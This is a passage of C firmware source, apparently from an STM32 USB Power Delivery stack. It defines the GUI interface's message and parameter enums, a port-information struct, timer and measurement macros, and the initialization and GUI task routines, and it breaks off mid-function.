port Partner (when Port partner is a Sink or a DRP port) */
GUI_IND_RDOPOSITION = 0x01, /*<! RDO Position of requested DO in Source list of capabilities */
GUI_IND_LISTOFRCVSRCPDO = 0x02, /*<! The list of received Source Power Data Objects from
Port partner (when Port partner is a Source or a DRP port) */
GUI_IND_NUMBEROFRCVSRCPDO = 0x03, /*<! The number of received Source Power Data Objects from
Port Partner (when Port partner is a Source or a DRP port) */
GUI_IND_LISTOFRCVSNKPDO = 0x04, /*<! The list of received Sink Power Data Objects from
Port partner (when Port partner is a Sink or a DRP port) */
GUI_IND_ISCONNECTED = 0x05, /*<! USB PD connection state */
GUI_IND_CC = 0x06, /*<! CC side */
GUI_IND_DATAROLE = 0x07, /*<! It defines the initial data role. */
GUI_IND_POWERROLE = 0x08, /*<! It defines the power role. */
GUI_IND_CCDEFAULTCURRENTADVERTISED = 0x09, /*<! advertising the current capability */
GUI_IND_VCONNON = 0x0A, /*<! Vconn Status */
GUI_IND_VBUS_LEVEL = 0x0C, /*<! VBUS level (in mV) */
GUI_IND_IBUS_LEVEL = 0x0C, /*<! IBUS level (in mA) */
GUI_IND_PD_SPECREVISION = 0x0D, /*<! Selected Specification revision */
GUI_IND_PD_MESSAGENOTIF = 0x0E, /*<! Send notifications of PD messages */
GUI_IND_NBBATTERIES = 0x0F, /*<! Number of batteries supported by the devices. */
GUI_IND_COUNTRYCODES = 0x10, /*<! List of the country codes received
in the COUNTRY_CODES message */
GUI_IND_SVDM_SVIDS = 0x11, /*<! List of the SVDM SVID received
in the SVDM Discovery SVID message */
GUI_IND_SVDM_MODES = 0x12, /*<! List of the country codes received
in the SVDM Discovery SVID message */
GUI_IND_TIMESTAMP = 0x13, /*<! Timestamp used for VBUS and IBUS values */
GUI_IND_PPS = 0x14, /*<! PPS value based on @ref USBPD_PPSSDB_TypeDef */
GUI_IND_STATUS = 0x15, /*<! Status value based on @ref USBPD_SDB_TypeDef */
GUI_IND_VDM_IDENTITY = 0x16, /*<! VDM Identity based on @ref USBPD_IDHeaderVDO_TypeDef */
GUI_IND_CABLE_VDO = 0x19, /*<! VDM Cable Object based on @ref USBPD_CableVdo_TypeDef */
GUI_IND_ALL = (GUI_IND_CABLE_VDO + 1), /*<! Number max of indication */
} USBPD_GUI_Tag_Indication;
/**
* @brief USB PD GUI TAG PARAM_MSG
*/
typedef enum
{
GUI_PARAM_MSG_SOPTYPE = 0x00, /*<! SOP type used for DPM_MESSAGE_REQ */
GUI_PARAM_MSG_RDOPOSITION = 0x01, /*<! RDO position of Received SRC PDO (used for RESET_REQ) */
GUI_PARAM_MSG_REQUESTEDVOLTAGE = 0x02, /*<! Requested voltage in REQUEST message (in mV) */
GUI_PARAM_MSG_ALERTMSG = 0x04, /*<! Alert message used in ALERT message */
GUI_PARAM_MSG_COUNTRYCODE = 0x05, /*<! Coutry code used in GET_COUNTRY_INFO message */
GUI_PARAM_MSG_SVDM_SVID = 0x06, /*<! SVID used in SVDM disco mode, enter mode & exit mode */
GUI_PARAM_MSG_SVDM_MODEINDEX = 0x07, /*<! Mode index used in SVDM enter and exit mode messages */
GUI_PARAM_MSG_UVDM_DATA = 0x08, /*<! Data used in UVDM message */
GUI_PARAM_MSG_DP_STATUS = 0x09, /*<! Data used in DP status message */
GUI_PARAM_MSG_DP_CONFIGURE = 0x0A, /*<! Data used in DP config message */
GUI_PARAM_MSG_DP_ATTENTION = 0x0B, /*<! Data used in DP attention message */
GUI_PARAM_MSG_BATTERYREF = 0x0C, /*<! Battery reference used in Get battery capa & status message */
GUI_PARAM_MSG_MANUINFODATA = 0x0D, /*<! Manufacturer_Info data used
in Get Manufacturer info message */
GUI_PARAM_MSG_FREE_TEXT = 0x0E, /*<! Free text */
GUI_PARAM_MSG_ALL = (GUI_PARAM_MSG_FREE_TEXT + 1), /*<! Number max of msg param */
} USBPD_GUI_Tag_ParamMsg;
/**
* @brief USB PD GUI MESSAGES
*/
typedef enum
{
GUI_MSG_GOTOMIN = 0x00, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_PING = 0x01, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_GET_SRC_CAPA = 0x03, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_GET_SNK_CAPA = 0x04, /*<! Message sent only if port partner is DRP.
Answer to this message is a SNK_CAPA
Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_DR_SWAP = 0x05, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_PR_SWAP = 0x06, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_VCONN_SWAP = 0x07, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_SOFT_RESET = 0x08, /*<! Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_GET_SOURCE_CAPA_EXTENDED = 0x09, /*<! Specific to PD3.0
Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_GET_STATUS = 0x0A, /*<! Specific to PD3.0. Return a STATUS message
Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_FR_SWAP = 0x0B, /*<! Specific to PD3.0
Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_GET_PPS_STATUS = 0x0C, /*<! Specific to PD3.0. Wait for PPS_STATUS message
Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_GET_COUNTRY_CODES = 0x0D, /*<! Specific to PD3.0. Return a COUNTRY_CODES message
Note: Refer to Control message in USB_PD specv3.0 */
GUI_MSG_SOURCE_CAPA = 0x0E, /*<! DPM_CONFIG_SET_REQ to be sent before sending this message
Note: Refer to data message in USB_PD specv3.0 */
GUI_MSG_REQUEST = 0x0F, /*<! Select one of the capability available.
Note: Refer to data message in USB_PD specv3.0 */
GUI_MSG_ALERT = 0x11, /*<! Specific to PD3.0
Note: Refer to data message in USB_PD specv3.0 */
GUI_MSG_GET_COUNTRY_INFO = 0x12, /*<! Return COUNTRY_INFO message.
Note: Refer to data message in USB_PD specv3.0 */
GUI_MSG_VDM_DISCO_IDENT = 0x13, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_VDM_DISCO_SVID = 0x14, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_VDM_DISCO_MODE = 0x15, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_VDM_ENTER_MODE = 0x16, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_VDM_EXIT_MODE = 0x17, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_VDM_ATTENTION = 0x18, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_VDM_UNSTRUCTURED = 0x19, /*<! 1..7 x 32bit
Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_FREE_TEXT = 0x1A, /*<! Free text */
GUI_MSG_DISPLAY_PORT_STATUS = 0x20, /*<! 1..7 x 32bit
Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_DISPLAY_PORT_CONFIG = 0x21, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_DISPLAY_PORT_ATTENTION = 0x22, /*<! Note: Refer to VDM message in USB_PD specv3.0 */
GUI_MSG_HARD_RESET = 0x24, /*<! Note: refer to Reset messages in USB_PD specv3.0 */
GUI_MSG_CABLE_RESET = 0x25, /*<! Note: refer to Reset messages in USB_PD specv3.0 */
GUI_MSG_GET_BAT_CAPA = 0x26, /*<! Return BAT_CAPA message
Note: Refer to extended message in USB_PD specv3.0 */
GUI_MSG_GET_BAT_STATUS = 0x27, /*<! Return BAT_STATUS message
Note: Refer to extended message in USB_PD specv3.0 */
GUI_MSG_GET_MANU_INFO = 0x28, /*<! Return MANU_INFO message
Note: Refer to extended message in USB_PD specv3.0 */
GUI_MSG_SECU_REQUEST = 0x29, /*<! Note: Refer to extended message in USB_PD specv3.0 */
GUI_MSG_FIRM_UPDATE_REQUEST = 0x2A, /*<! Note: Refer to extended message in USB_PD specv3.0 */
GUI_MSG_GET_SINK_CAPA_EXTENDED = 0x2B, /*<! Specific to PD3.0
Note: Refer to Control message in USB_PD specv3.0 */
} USBPD_GUI_Messages;
/**
* @brief USB PD GUI INIT
*/
typedef enum
{
GUI_INIT_HWBOARDVERSION = 0x00, /*<! ASCII stream to indicate STM32 version like STM32F032xB */
GUI_INIT_HWPDTYPE = 0x01, /*<! ASCII stream to indicate PD type used by the devices like:
- AFE solution (MB1257B)
- 1602 solution (MB1303 rev A)
- TCPM solution (TCPC FUSB305)
- () */
GUI_INIT_NBPORTMAX = 0x02, /*<! Indicate maximum number of ports which can be configured
in the device (value 1, 2 , 3) */
GUI_INIT_FWVERSION = 0x03, /*<! 4 bytes for FW version + 4 bytes for Stack version */
GUI_INIT_TYPECSPECREVISION = 0x04, /*<! Type-C revision supported by the port */
GUI_INIT_PDSPECREVISION = 0x04, /*<! PD spec revision supported by the port */
GUI_INIT_EXTENDEDMESSAGESUNCKUNKED = 0x06, /*<! Supports extended messages */
GUI_INIT_ACCESSORYSUPP = 0x07, /*<! Accessory supported or not */
GUI_INIT_POWERACCESSORYDETECTION = 0x08, /*<! It enables or disables powered accessory detection */
GUI_INIT_POWERACCESSORYTRANSITION = 0x09, /*<! It enables or disables transition from
Powered.accessory to Try.SNK */
GUI_INIT_ISCABLE = 0x0B, /*<! Cable (asserts Ra on VConn, communicates using SOP'
and SOP''), when this mode is selected the stack will run
in cable mode so all parameters like PowerRole are not used */
GUI_INIT_TRYFEATURE = 0x10, /*<! Try Feature */
GUI_INIT_RPRESISTORVALUE = 0x12, /*<! RP resistor value */
GUI_INIT_USBSUPPORT = 0x13, /*<! USB_Comms_Capable, is the UUT capable of enumerating
as a USB host or device? */
GUI_INIT_USBDEVICE = 0x14, /*<! Type_C_Can_Act_As_Device, Indicates whether the UUT can
communicate with USB 2.0 or USB 3.1 as a device or as
the Upstream Facing Port of a hub. */
GUI_INIT_USBHOST = 0x15, /*<! Type_C_Can_Act_As_Host, Indicates whether the UUT can
communicate with USB 2.0 or USB 3.1 as a host or
as the Downstream Facing Port of a hub */
GUI_INIT_UNCONSTRAINED_POWERED = 0x16, /*<! UUT has an external power source available that is sufficient
to adequately power the system while charging external
devices or the UUTs primary function is to charge
external devices. */
GUI_INIT_USBSUSPENDSUPPORT = 0x17, /*<! USB Suspend support */
GUI_INIT_VCONNDISCHARGE = 0x18, /*<! It enables or disables the VCONN discharge on CC pin */
GUI_INIT_VCONNILIM = 0x19, /*<! enables or not VconnLim */
GUI_INIT_VCONNILIMVALUE = 0x1A, /*<! It allows changing the default current limit supplying
VCONN on the CC pins */
GUI_INIT_VCONNMONITORING = 0x1B, /*<! It enables or disables UVLO threshold detection
on VCONN pin */
GUI_INIT_VCONNTHRESHOLDUVLO = 0x1C, /*<! High UVLO threshold of 4.65 V; 1b: Low UVLO threshold
of 2.65 V (case of VCONN-powered accessories
operating down to 2.7 V) */
GUI_INIT_VCONNSUPPLY = 0x1D, /*<! It enables or disables the VCONN supply
capability on CC pin */
GUI_INIT_NB_PORT_START = 0x1E, /*<! Start Port number */
GUI_INIT_ORIGINAL_SETTINGS = 0x1F, /*<! This flag allows to know if the user settings read by
the FW are from the original FW or a previous configuration
saved by the user. */
} USBPD_GUI_Init;
typedef enum
{
GUI_USER_EVENT_TIMER, /* TIMER EVENT */
GUI_USER_EVENT_GUI, /* GUI EVENT */
GUI_USER_EVENT_NONE, /* NO EVENT */
} GUI_USER_EVENT;
/**
* @brief USBPD DPM handle Structure definition
* @{
*/
typedef struct
{
uint32_t ListOfRcvSRCPDO[USBPD_MAX_NB_PDO]; /*!< The list of received Source Power Data Objects
from Port partner (when Port partner is a Source
or a DRP port). */
uint32_t NumberOfRcvSRCPDO; /*!< The number of received Source Power Data Objects
from port Partner (when Port partner is a Source
or a DRP port). This parameter must be set
to a value lower than USBPD_MAX_NB_PDO */
uint32_t ListOfRcvSNKPDO[USBPD_MAX_NB_PDO]; /*!< The list of received Sink Power Data Objects
from Port partner (when Port partner is a Sink
or a DRP port). */
uint32_t NumberOfRcvSNKPDO; /*!< The number of received Sink Power Data Objects
from port Partner(when Port partner is a Sink
or a DRP port). This parameter must be set to
a value lower than USBPD_MAX_NB_PDO */
uint32_t RDOPosition; /*!< RDO Position of requested DO in Source list
of capabilities */
uint32_t RequestedVoltage; /*!< Value of requested voltage */
uint32_t RequestedCurrent; /*!< Value of requested current */
uint32_t RDOPositionPrevious; /*!< RDO Position of previous requested DO
in Source list of capabilities */
uint32_t RcvRequestDOMsg; /*!< Received request Power Data Object message
from the port Partner */
#if defined(USBPD_REV30_SUPPORT)
#if _STATUS
USBPD_SDB_TypeDef RcvStatus; /*!< Status received by port partner */
#endif /* _STATUS */
#if _PPS
USBPD_PPSSDB_TypeDef RcvPPSStatus; /*!< PPS Status received by port partner */
#endif /* _PPS */
#if _SRC_CAPA_EXT
USBPD_SCEDB_TypeDef RcvSRCExtendedCapa; /*!< SRC Extended Capability received by port partner */
#endif /* _SRC_CAPA_EXT */
#if defined(USBPDCORE_SNK_CAPA_EXT)
USBPD_SKEDB_TypeDef RcvSNKExtendedCapa; /*!< SNK Extended Capability received by port partner */
#endif /* USBPDCORE_SNK_CAPA_EXT */
#if _MANU_INFO
USBPD_GMIDB_TypeDef GetManufacturerInfo; /*!< Get Manufacturer Info */
#endif /* _MANU_INFO */
#if _BATTERY
USBPD_GBSDB_TypeDef GetBatteryStatus; /*!< Get Battery status */
USBPD_GBCDB_TypeDef GetBatteryCapability; /*!< Get Battery Capability */
USBPD_BSDO_TypeDef BatteryStatus; /*!< Battery status */
#endif /* _BATTERY */
USBPD_ADO_TypeDef RcvAlert; /*!< Save the Alert received by port partner */
#endif /* USBPD_REV30_SUPPORT */
#ifdef _VCONN_SUPPORT
USBPD_DiscoveryIdentity_TypeDef VDM_DiscoCableIdentify; /*!< VDM Cable Discovery Identify */
#endif /* _VCONN_SUPPORT */
#ifdef _VDM
USBPD_DiscoveryIdentity_TypeDef VDM_DiscoIdentify; /*!< VDM Discovery Identify */
USBPD_SVIDPortPartnerInfo_TypeDef VDM_SVIDPortPartner; /*!< VDM SVID list */
USBPD_ModeInfo_TypeDef VDM_ModesPortPartner; /*!< VDM Modes list */
#endif /* _VDM */
} GUI_HandleTypeDef;
/**
* @}
*/
/* Private macro -------------------------------------------------------------*/
/** @defgroup USBPD_GUI_API_Private_Macros USBPD GUI API Private Macros
* @{
*/
#define __GUI_SET_TAG_ID(_PORT_, _TAG_) (((_PORT_) << GUI_PORT_BIT_POSITION) | (_TAG_))
#if defined(_RTOS)
#if (osCMSIS < 0x20000U)
#define GUI_START_TIMER(_PORT_,_TIMER_,_TIMEOUT_) do{ \
_TIMER_[_PORT_] = (_TIMEOUT_) | GUI_TIMER_ENABLE_MSK; \
osMessagePut(GUIMsgBox,GUI_USER_EVENT_TIMER, 0); \
}while(0);
#else
#define GUI_START_TIMER(_PORT_,_TIMER_,_TIMEOUT_) do{ \
uint32_t eventtim = GUI_USER_EVENT_TIMER; \
_TIMER_[_PORT_] = (_TIMEOUT_) | GUI_TIMER_ENABLE_MSK; \
(void)osMessageQueuePut(GUIMsgBox, &eventtim, 0U, 0U); \
}while(0);
#endif /* osCMSIS < 0x20000U */
#else
#define GUI_START_TIMER(_PORT_, _TIMER_,_TIMEOUT_) _TIMER_[_PORT_] = (_TIMEOUT_) | GUI_TIMER_ENABLE_MSK;
#endif /* _RTOS */
#define IS_GUI_TIMER_RUNNING(_PORT_, _TIMER_) ((uint16_t)((_TIMER_)[(_PORT_)] & GUI_TIMER_READ_MSK) > 0)
#define IS_GUI_TIMER_EXPIRED(_PORT_, _TIMER_) (GUI_TIMER_ENABLE_MSK == (_TIMER_)[(_PORT_)])
#if defined(_SNK) || defined(_DRP)
#define GUI_UPDATE_VOLTAGE_MIN(_PDO_VOLT_, _SNK_VOLT_) \
if ((_PDO_VOLT_) < (_SNK_VOLT_)) \
{ \
/* Update min voltage */ \
(_SNK_VOLT_) = (_PDO_VOLT_); \
}
#define GUI_UPDATE_VOLTAGE_MAX(_PDO_VOLT_, _SNK_VOLT_) \
if ((_PDO_VOLT_) > (_SNK_VOLT_)) \
{ \
/* Update min voltage */ \
(_SNK_VOLT_) = (_PDO_VOLT_); \
}
#define GUI_UPDATE_CURRENT_MAX(_PDO_CURRENT_, _SNK_CURRENT_) \
if ((_PDO_CURRENT_) > (_SNK_CURRENT_)) \
{ \
/* Update min current */ \
(_SNK_CURRENT_) = (_PDO_CURRENT_); \
}
#define GUI_UPDATE_POWER_MAX(_PDO_POWER_, _SNK_POWER_) \
if ((_PDO_POWER_) > (_SNK_POWER_)) \
{ \
/* Update min POWER */ \
(_SNK_POWER_) = (_PDO_POWER_); \
}
#define GUI_CHECK_VOLTAGE_MIN(_PDO_VOLT_, _SNK_VOLT_) \
/* Update min voltage */ \
(_SNK_VOLT_) = (_PDO_VOLT_);
#define GUI_CHECK_VOLTAGE_MAX(_PDO_VOLT_, _SNK_VOLT_) \
/* Update min voltage */ \
(_SNK_VOLT_) = (_PDO_VOLT_);
#define GUI_CHECK_CURRENT_MAX(_PDO_CURRENT_, _SNK_CURRENT_) \
/* Update min current */ \
(_SNK_CURRENT_) = (_PDO_CURRENT_);
#define GUI_CHECK_POWER_MAX(_PDO_POWER_, _SNK_POWER_) \
/* Update min POWER */ \
(_SNK_POWER_) = (_PDO_POWER_);
#define GUI_DECODE_50MV(_Value_) ((uint16_t)(((_Value_) * 50U))) /* From 50mV multiples to mV */
#define GUI_DECODE_100MV(_Value_) ((uint16_t)(((_Value_) * 100U))) /* From 100mV multiples to mV */
#define GUI_DECODE_10MA(_Value_) ((uint16_t)(((_Value_) * 10U))) /* From 10mA multiples to mA */
#define GUI_DECODE_50MA(_Value_) ((uint16_t)(((_Value_) * 50U))) /* From 50mA multiples to mA */
#define GUI_DECODE_MW(_Value_) ((uint16_t)(((_Value_) * 250U))) /* From 250mW multiples to mW */
#endif /* _SNK) || _DRP */
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/** @defgroup USBPD_GUI_API_Private_Variables USBPD GUI API Private Variables
* @{
*/
/*!< Timer used to send measurement report*/
__IO uint16_t GUI_TimerMeasReport[USBPD_PORT_COUNT];
extern USBPD_SettingsTypeDef DPM_Settings[USBPD_PORT_COUNT];
#ifdef _VDM
extern USBPD_VDM_SettingsTypeDef DPM_VDM_Settings[USBPD_PORT_COUNT];
#endif /* _VDM */
GUI_USER_ParamsTypeDef GUI_USER_Params[USBPD_PORT_COUNT];
uint8_t PtrDataRx[TLV_SIZE_MAX];
uint8_t Processed[TLV_SIZE_MAX];
USBPD_GUI_State GUI_State = GUI_STATE_INIT;
/*!< Flag to indicate that user settings is from original FW (not saved into the FLASH) */
uint8_t GUI_OriginalSettings;
#if defined(_RTOS)
osMessageQId GUIMsgBox;
#if (osCMSIS >= 0x20000U)
osThreadAttr_t GUI_Thread_Atrr =
{
.name = "GUI",
.priority = FREERTOS_GUI_PRIORITY, /*osPriorityLow,*/
.stack_size = FREERTOS_GUI_STACK_SIZE
};
#endif /* osCMSIS >= 0x20000U */
#else
__IO uint32_t GUI_Flag = GUI_USER_EVENT_NONE;
#endif /* _RTOS */
const uint8_t *(*pCB_HWBoardVersion)(void) = NULL;
const uint8_t *(*pCB_HWPDType)(void) = NULL;
uint16_t (*pCB_GetVoltage)(uint8_t) = NULL;
int16_t (*pCB_GetCurrent)(uint8_t) = NULL;
USBPD_StatusTypeDef(*pCB_FreeText)(uint8_t, uint8_t *, uint16_t) = NULL;
GUI_HandleTypeDef GUI_SaveInformation[USBPD_PORT_COUNT];
/**
* @}
*/
/* Private functions ---------------------------------------------------------*/
/** @defgroup USBPD_GUI_API_Private_Functions GUI API Private Functions
* @{
*/
#ifdef _RTOS
#if (osCMSIS < 0x20000U)
static void TaskGUI(void const *argument);
#else
static void TaskGUI(void *argument);
#endif /* osCMSIS < 0x20000U */
static uint32_t CheckGUITimers(void);
#endif /* _RTOS */
static void GUI_CALLBACK_RX(uint8_t Character, uint8_t Error);
static void Send_DpmInitCnf(uint8_t PortNum, uint8_t *string);
static void Request_MessageReq(uint8_t PortNum, uint8_t *instruction, uint8_t *pEncodedMsg);
static void Send_DpmConfigSetCnf(uint8_t PortNum, uint8_t *instruction, uint8_t *pEncodedMsg);
static void Send_DpmConfigGetCnf(uint8_t PortNum, uint8_t *instruction, uint8_t *pEncodedMsg);
static void Send_DpmConfigGetRej(uint8_t PortNum, uint8_t *pEncodedMsg, USBPD_GUI_Reject_Reason RejecReason);
static void Send_DpmMessageRej(uint8_t PortNum, uint8_t *pEncodedMsg, USBPD_GUI_Reject_Reason RejecReason);
static void Send_DpmRegisterReadCnf(uint8_t PortNum, uint8_t *string, uint8_t param);
static void Send_DpmRegisterWriteCnf(uint8_t PortNum, uint8_t *string, uint8_t *toProcess);
static USBPD_StatusTypeDef Manage_FreeText(uint8_t PortNum, uint8_t *pPayload, uint16_t Size);
#if defined(_SNK) || defined(_DRP)
static void UpdateSNKPowerPort0(void);
#if USBPD_PORT_COUNT==2
static void UpdateSNKPowerPort1(void);
#endif /* USBPD_PORT_COUNT==2 */
#endif /* _SNK) || _DRP */
#if defined(USE_STM32_UTILITY_OS)
void GUI_Execute(void);
#endif /* USE_STM32_UTILITY_OS */
/**
* @}
*/
/* Exported functions ------------------------------------------------------- */
/** @addtogroup USBPD_GUI_API_Exported_Functions
* @{
*/
/**
* @brief GUI initialization function
* @param CB_HWBoardVersion BSP callback to retrieve HW Board version
* @param CB_HWPDType BSP callback to retrieve HW PD Type
* @param CB_GetVoltage BSP callback to retrieve VBUS voltage
* @param CB_GetCurrent BSP callback to retrieve IBUS current
* @retval Functional state
*/
USBPD_FunctionalState GUI_Init(const uint8_t *(*CB_HWBoardVersion)(void), const uint8_t *(*CB_HWPDType)(void),
uint16_t (*CB_GetVoltage)(uint8_t), int16_t (*CB_GetCurrent)(uint8_t))
{
USBPD_FunctionalState _status = USBPD_ENABLE;
/* Retrieve data from FLASH if needed */
GUI_OriginalSettings = ((GUI_OK == BSP_GUI_LoadDataFromFlash()) ? USBPD_FALSE : USBPD_TRUE);
/* Need to update CAD_tDRP & CAD_dcSRC_DRP if CAD_SNKToggleTime not initialized */
if ((0U == DPM_Settings[USBPD_PORT_0].CAD_SNKToggleTime) || (0U == DPM_Settings[USBPD_PORT_0].CAD_SRCToggleTime))
{
DPM_USER_Settings[USBPD_PORT_0].CAD_tDRP = 80U;
DPM_USER_Settings[USBPD_PORT_0].CAD_dcSRC_DRP = 50U;
}
else
{
DPM_USER_Settings[USBPD_PORT_0].CAD_dcSRC_DRP = (DPM_Settings[USBPD_PORT_0].CAD_SRCToggleTime * 100U) /
(DPM_Settings[USBPD_PORT_0].CAD_SRCToggleTime +
DPM_Settings[USBPD_PORT_0].CAD_SNKToggleTime);
DPM_USER_Settings[USBPD_PORT_0].CAD_tDRP = (DPM_Settings[USBPD_PORT_0].CAD_SRCToggleTime * 100U) /
DPM_USER_Settings[USBPD_PORT_0].CAD_dcSRC_DRP;
}
#if USBPD_PORT_COUNT==2
if ((0U == DPM_Settings[USBPD_PORT_1].CAD_SNKToggleTime) || (0U == DPM_Settings[USBPD_PORT_1].CAD_SRCToggleTime))
{
DPM_USER_Settings[USBPD_PORT_1].CAD_tDRP = 80U;
DPM_USER_Settings[USBPD_PORT_1].CAD_dcSRC_DRP = 50U;
}
else
{
DPM_USER_Settings[USBPD_PORT_1].CAD_dcSRC_DRP = (DPM_Settings[USBPD_PORT_1].CAD_SRCToggleTime * 100U) /
(DPM_Settings[USBPD_PORT_1].CAD_SRCToggleTime +
DPM_Settings[USBPD_PORT_1].CAD_SNKToggleTime);
DPM_USER_Settings[USBPD_PORT_1].CAD_tDRP = (DPM_Settings[USBPD_PORT_1].CAD_SRCToggleTime * 100U) /
DPM_USER_Settings[USBPD_PORT_1].CAD_dcSRC_DRP;
}
#endif /* USBPD_PORT_COUNT==2 */
pCB_HWBoardVersion = CB_HWBoardVersion;
pCB_HWPDType = CB_HWPDType;
pCB_GetVoltage = CB_GetVoltage;
pCB_GetCurrent = CB_GetCurrent;
/* Register 2 callbacks for notification in DPM */
USBPD_DPM_SetNotification_GUI(GUI_FormatAndSendNotification, GUI_PostNotificationMessage, GUI_SaveInfo);
#if defined(_RTOS)
#if (osCMSIS < 0x20000U)
osMessageQDef(MsgBox, GUI_BOX_MESSAGES_MAX, uint32_t);
osThreadDef(GUI, TaskGUI, FREERTOS_GUI_PRIORITY, 0, FREERTOS_GUI_STACK_SIZE);
GUIMsgBox = osMessageCreate(osMessageQ(MsgBox), NULL);
if (NULL == osThreadCreate(osThread(GUI), &GUIMsgBox))
#else
GUIMsgBox = osMessageQueueNew(GUI_BOX_MESSAGES_MAX, sizeof(uint32_t), NULL);
if (NULL == osThreadNew(TaskGUI, &GUIMsgBox, &GUI_Thread_Atrr))
#endif /* osCMSIS < 0x20000U */
{
_status = USBPD_DISABLE;
}
/* Enable IRQ which has been disabled by FreeRTOS services */
__enable_irq();
#else /* RTOS */
GUI_Start();
#if defined(USE_STM32_UTILITY_OS)
UTIL_SEQ_RegTask(TASK_GUI, 0, GUI_Execute);
UTIL_SEQ_SetTask(TASK_GUI, 0);
#endif /*USE_STM32_UTILITY_OS */
#endif /* _RTOS */
return _status;
}
void GUI_Start(void)
{
/* register the GUI callback to manage UART reception */
TRACER_EMB_StartRX(GUI_CALLBACK_RX);
}
/**
* @brief GUI Task
* @param pEvent GUI User event
* @retval None
*/
#ifdef _RTOS
#if (osCMSIS < 0x20000U)
static void TaskGUI(void const *pEvent)
#else
static void TaskGUI(void *pEvent)
#endif /* osCMSIS < 0x20000U */
#else
void GUI_Execute(void)
#endif /* _RTOS */
{
#ifdef _RTOS
uint32_t _timing = osWaitForever;
osMessageQId queue = *(osMessageQId *)pEvent;
GUI_Start();
do
{
#if (osCMSIS < 0x20000U)
osEvent event = osMessageGet(queue, _timing);
switch (((GUI_USER_EVENT)event.value.v & 0xFU))
#else
uint32_t event;
(void)osMessageQueueGet(queue, &event, NULL, _timing);
switch ((GUI_USER_EVENT)(event & 0xFU))
#endif /* osCMSIS < 0x20000U */
{
case GUI_USER_EVENT_GUI:
{
#if (osCMSIS < 0x20000U)
(void)GUI_RXProcess((uint32_t)event.value.v);
#else
(void)GUI_RXProcess((uint32_t)event);
#endif /* osCMSIS < 0x20000U */
/* Sent an event to check if measurement report has been requested */
#if (osCMSIS < 0x20000U)
(void)osMessagePut(GUIMsgBox, GUI_USER_EVENT_TIMER, 0U);
#else
uint32_t eventtim = (uint32_t)GUI_USER_EVENT_TIMER;
(void)osMessageQueuePut(GUIMsgBox, &eventtim, 0U, 0U);
#endif /* osCMSIS < 0x20000U */
break;
}
case GUI_USER_EVENT_TIMER:
{
#endif /* _RTOS */
#ifndef _RTOS
switch (GUI_Flag & 0xF)
{
case GUI_USER_EVENT_NONE:
break;
case GUI_USER_EVENT_GUI:
GUI_RXProcess(GUI_Flag);
case GUI_USER_EVENT_TIMER:
break;
default:
break;
}
GUI_Flag = GUI_USER_EVENT_NONE;
#endif /* !_RTOS */
for (uint8_t _instance = 0; _instance < (uint8_t)USBPD_PORT_COUNT; _instance++)
{
/* ------------------------------------------------- */
/* Check if timeout related to Measurement reporting */
/* ------------------------------------------------- */
/* - Send a GUI Event only if PE is connected
and Measurement report has been enabled */
if ((USBPD_TRUE == DPM_Params[_instance].PE_IsConnected)
&& (1U == GUI_USER_Params[_instance].u.d.MeasReportActivation)
&& (0U != GUI_USER_Params[_instance].u.d.MeasReportValue))
{
/* Check if timer has expired */
if (IS_GUI_TIMER_EXPIRED(_instance, GUI_TimerMeasReport))
{
uint32_t event_mr = GUI_USER_EVENT_GUI
| (_instance << GUI_PE_PORT_NUM_Pos)
| (GUI_NOTIF_MEASUREMENT << GUI_PE_NOTIF_Pos);
(void)GUI_RXProcess(event_mr);
}
/* Start or Restart Measurement report timer */
if (!(IS_GUI_TIMER_RUNNING(_instance, GUI_TimerMeasReport)))
{
GUI_START_TIMER(_instance, GUI_TimerMeasReport,
(uint16_t)(GUI_USER_Params[_instance].u.d.MeasReportValue) * GUI_NOTIF_MEASUREMENT_STEP);
}
}
else
{
/* Stop measurement report timer */
GUI_TimerMeasReport[_instance] = 0;
}
}
#ifdef _RTOS
break;
}
default:
break;
}
_timing = CheckGUITimers();
} while (1 == 1);
#endif /* !_RTOS */
}
#ifdef _RTOS
static uint32_t CheckGUITimers(void)
{
uint32_t _timing = osWaitForever;
uint32_t _current_timing;
/* Calculate the minimum timers to wake-up GUI task */
for (uint8_t instance = 0; instance < (uint8_t)USBPD_PORT_COUNT; instance++)
{
/* Check if Measurement reporting has been enabled by the GUI */
_current_timing = (uint32_t)(GUI_TimerMeasReport[instance]) & GUI_TIMER_READ_MSK;
if (_current_timing > 0U)
{
if (_current_timing < _timing)
{
_timing = _current_timing;
}
}
}
return _timing;
}
#endif /* !_RTOS */
void GUI_TimerCounter(void)
{
/* Increment GUI timer only if Measurement report has been activated */
if (1U == GUI_USER_Params[USBPD_PORT_0].u.d.MeasReportActivation)
{
if ((GUI_TimerMeasReport[USBPD_PORT_0] & GUI_TIMER_READ_MSK) > 0U)
{
GUI_TimerMeasReport[USBPD_PORT_0]--;
}
#if !defined(_RTOS)&&defined(USE_STM32_UTILITY_OS)
else
{
UTIL_SEQ_SetTask(TASK_GUI, 0);
}
#endif /* !_RTOS && USE_STM32_UTILITY_OS */
}
#if USBPD_PORT_COUNT==2
if (1 == GUI_USER_Params[USBPD_PORT_1].u.d.MeasReportActivation)
{
